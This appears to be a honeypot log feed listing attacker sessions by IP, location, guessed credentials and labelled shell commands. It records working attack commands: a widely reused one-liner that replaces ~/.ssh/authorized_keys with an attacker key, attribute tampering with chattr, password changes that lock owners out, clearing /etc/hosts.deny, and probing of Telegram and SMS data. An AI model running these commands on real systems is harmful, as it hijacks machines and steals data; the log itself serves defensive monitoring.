$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 listless_kimchi_root (43.164.132.13) — Seoul, South Korea · 1 session · 1 cmd

2026-05-08 19:11 EDT · as root/root

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 obsidian_neon_db (47.83.174.0) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-08 17:06 EDT · as oracle/1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 midnight_burger (47.253.138.112) — Charlottesville, United States · 1 session · 1 cmd

2026-05-08 14:03 EDT · as deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 gnarled_durian_root (47.236.161.239) — Singapore, Singapore · 1 session · 1 cmd

2026-05-08 12:25 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 zealous_batik_root (163.7.5.228) — Banguntapan, Indonesia · 1 session · 2 cmds

2026-05-08 12:00 EDT · as oracle/oracle2021

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 silent_jade_root (120.48.154.88) — Beijing, China · 1 session · 2 cmds

2026-05-08 11:47 EDT · as oracle/1q2w3e

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 wired_lantern_root (14.18.113.233) — Guangzhou, China · 1 session · 20 cmds

2026-05-08 11:41 EDT · as oracle/1q2w3e

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "1q2w3e\na0Ik2jHddA2W\na0Ik2jHddA2W"|passwd|bash

$ Enter new UNIX password:

$ echo "1q2w3e\na0Ik2jHddA2W\na0Ik2jHddA2W\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 silent_rooibos_root (94.156.152.18) — Centurion, South Africa · 2 sessions · 2 cmds

2026-05-07 08:35 EDT · as root/1234

privilege check → hostname discovery

$ whoami

↳ privilege check

$ hostname

↳ hostname discovery

🎭 vapor_harbor_root (47.243.50.253) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-08 10:26 EDT · as oracle/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 lurking_hanbok_root (118.35.127.66) — Dong-gu, South Korea · 1 session · 2 cmds

2026-05-08 10:24 EDT · as oracle/enisenes12

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 feral_wraith_root (190.181.4.12) — La Paz, Bolivia · 1 session · 2 cmds

2026-05-08 10:18 EDT · as oracle/enisenes12

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 manic_lotus_root (171.244.141.86) — Hanoi, Vietnam · 1 session · 2 cmds

2026-05-08 10:08 EDT · as oracle/enisenes12

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 midnight_cactus_root_18 (187.212.38.18) — Puebla City, Mexico · 4 sessions · 8 cmds

2026-05-08 07:55 EDT · as oracle/Abcd1234, oracle/founderbn, oracle/manager

file attribute tampering → SSH key persistence (repeated file attribute tampering 4x)

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×4

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×4

↳ SSH key persistence

🎭 sneaky_batik_root (103.172.20.218) — Rengasdengklok, Indonesia · 4 sessions · 8 cmds

2026-05-08 08:24 EDT · as oracle/Abcd1234, oracle/founderbn, oracle/manager

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×4

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×4

↳ SSH key persistence

🎭 rabid_lantern_root_150 (47.97.126.150) — Hangzhou, China · 1 session · 1 cmd

2026-05-08 07:18 EDT · as deploy/deploy

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 brazen_neon_root (219.78.63.235) — Ho Man Tin, Hong Kong · 1 session · 9 cmds

2026-05-08 06:55 EDT · as root/root

root/root login → /ip cloud print network topology → ifconfig interface enumeration → uname -a OS fingerprinting → cat /proc/cpuinfo hardware profiling → ps grep miner process detection → Telegram data directory reconnaissance → locate specific hash scan → echo Hi command execution

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 brazen_wok_root_82 (114.55.129.82) — Hangzhou, China · 1 session · 1 cmd

2026-05-08 06:30 EDT · as deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 silent_falcon_root (83.168.110.85) — Warsaw, Poland · 32 sessions · 32 cmds

2026-05-08 03:57 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 32x across 32 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 listless_cowboy_root_44 (67.205.178.44) — North Bergen, United States · 2 sessions · 21 cmds

2026-05-07 23:36 EDT · as oracle/qweasd, root/admin123

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:A6tqDuypdWNd"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rabid_panda_root_191 (182.43.164.191) — Jinan, China · 1 session · 2 cmds

2026-05-07 23:07 EDT · as oracle/123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 listless_panda_root_182 (152.136.57.182) — Beijing, China · 1 session · 1 cmd

2026-05-07 23:05 EDT · as pi/pi

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 baroque_neon_root (165.154.6.126) — Hong Kong, Hong Kong · 1 session · 2 cmds

2026-05-07 23:02 EDT · as oracle/q1w2e3r4

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 lurking_lantern_root (14.103.118.140) — Haidian, China · 1 session · 2 cmds

2026-05-07 20:59 EDT · as oracle/manager123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 sullen_star_root_6 (20.12.41.6) — Boydton, United States · 1 session · 20 cmds

2026-05-07 20:33 EDT · as guest/guest

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "guest\nO55i6UqHwcFE\nO55i6UqHwcFE"|passwd|bash

$ Enter new UNIX password:

$ echo "guest\nO55i6UqHwcFE\nO55i6UqHwcFE\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cryptic_silk_root_14 (14.22.81.14) — Guangzhou, China · 1 session · 1 cmd

2026-05-07 20:19 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 spectral_panda (8.148.200.68) — Guangzhou, China · 1 session · 1 cmd

2026-05-07 18:47 EDT · as deploy/deploy

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 midnight_sakura_root (43.163.195.170) — Tokyo, Japan · 1 session · 1 cmd

2026-05-07 18:41 EDT · as pi/raspberry

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 scrappy_peak_root (154.92.17.58) — Chai Wan, Hong Kong · 2 sessions · 4 cmds

2026-05-07 16:21 EDT · as oracle/Oracle1, oracle/asd123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 sneaky_gouda_root (185.246.188.74) — Amsterdam, The Netherlands · 1 session · 3 cmds

2026-05-07 16:58 EDT · as admin/admin

CPU profiling → CPU profiling → ?

$ echo "bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778187522019985778" | sh

↳ CPU profiling

$ bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778187522019985778

↳ CPU profiling

$

🎭 scrappy_windmill_root (34.90.210.134) — Groningen, Netherlands · 1 session · 1 cmd

2026-05-07 16:11 EDT · as mysql/mysql

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 brazen_bibimbap_root_22 (49.247.37.22) — Gwangmyeong, South Korea · 1 session · 2 cmds

2026-05-07 13:53 EDT · as oracle/tft105

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rusty_liberty_root_177 (172.208.48.177) — Boydton, United States · 1 session · 2 cmds

2026-05-07 13:51 EDT · as oracle/tft105

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 glitchy_clog_sol (176.65.139.153) — Eygelshoven, The Netherlands · 15 sessions · 15 cmds

2026-05-07 12:55 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 15x across 15 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×15

🎭 hollow_cactus_root (187.170.239.22) — Cuauhtémoc, Mexico · 1 session · 2 cmds

2026-05-07 13:25 EDT · as oracle/11111111

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 nocturnal_neon_root (47.83.131.134) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-05-07 12:09 EDT · as user/user

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 jittery_clog_root_51 (192.42.116.51) — Amsterdam, The Netherlands · 1 session · 3 cmds

2026-05-07 09:13 EDT · as admin/admin

CPU profiling → CPU profiling → ?

$ echo "bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778159599880105606" | sh

↳ CPU profiling

$ bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778159599880105606

↳ CPU profiling

$

🎭 sneaky_dragonfruit_root (58.186.20.143) — Ho Chi Minh City, Vietnam · 1 session · 2 cmds

2026-05-07 08:58 EDT · as oracle/oracle@1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

